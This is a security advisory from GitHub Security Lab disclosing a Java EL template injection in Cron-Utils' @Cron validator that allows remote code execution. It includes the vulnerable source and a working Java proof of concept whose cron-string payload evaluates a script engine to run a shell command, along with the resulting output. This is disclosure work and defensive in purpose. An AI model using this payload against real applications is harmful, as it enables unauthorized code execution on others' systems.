Summary

A Template Injection was identified in Cron-Utils enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability.

Product

Cron-Utils

Tested Version

latest commit to the date of testing: b080eba

Details

Remote Code Execution - JavaEL Injection

If developers use the @Cron annotation to validate a user controlled Cron expression, attackers will be able to inject and run arbitrary Java Expression Language (EL) expressions.

Cron-Utils uses Java Bean Validation (JSR 380) custom constraint validators such as CronValidator. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate(), they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. In this case CronValidator includes the Cron expression being validated in the custom constraint error validation message if an exception is thrown while parsing the expression:

    public boolean isValid(String value, ConstraintValidatorContext context) {
        if (value == null) {
            return true;
        }

        CronDefinition cronDefinition = CronDefinitionBuilder.instanceDefinitionFor(type);
        CronParser cronParser = new CronParser(cronDefinition);
        try {
            cronParser.parse(value).validate();
            return true;
        } catch (IllegalArgumentException e) {
            context.disableDefaultConstraintViolation();
            context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation();
            return false;
        }
    }

PoC

In order to reproduce this vulnerability you can use the following test code:

import com.cronutils.validation.Cron;
import com.cronutils.model.CronType;
import java.util.Set;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;

public class Main {

  public static class Job {
    @Cron(type = CronType.SPRING)
    private String cronExpression;

    String getCronExpression() {
      return cronExpression;
    }

    void setCronExpression(String cronExpression) {
      this.cronExpression = cronExpression;
    }
  }

  public static void main(String[] args) {
    Job job = new Job();
    job.setCronExpression("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");

    ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
    Validator validator = factory.getValidator();

    Set<ConstraintViolation<Job>> constraintViolations = validator.validate(job);
    String errmsg = constraintViolations.iterator().next().getMessage();
    System.out.println(errmsg);
  }
}

If the cron-utils’ @Cron annotation is used to validate an user controlled expression, it will allow an attacker to execute arbitrary Java code.

In order to trigger an exception and keep the payload lower case and allow whitespaces, we need to use a payload in the form of:

java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");

Where the cron fields are:

  1. java.lang.Runtime.getRuntime().exec('touch
  2. /tmp/pwned');
  3. //
  4. 4
  5. 5
  6. [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");

Which will result in an exception such as:

Failed to parse 'java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [java.lang.UNIXProcess@28a53635]'. Invalid chars in expression! Expression: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH Invalid chars: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH

Note that the sixth component has been evaluated to java.lang.UNIXProcess@28a53635 proving that the process ran.

Impact

This issue leads to Remote Code execution

CVE

Coordinated Disclosure Timeline

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-212 in any communication regarding this issue.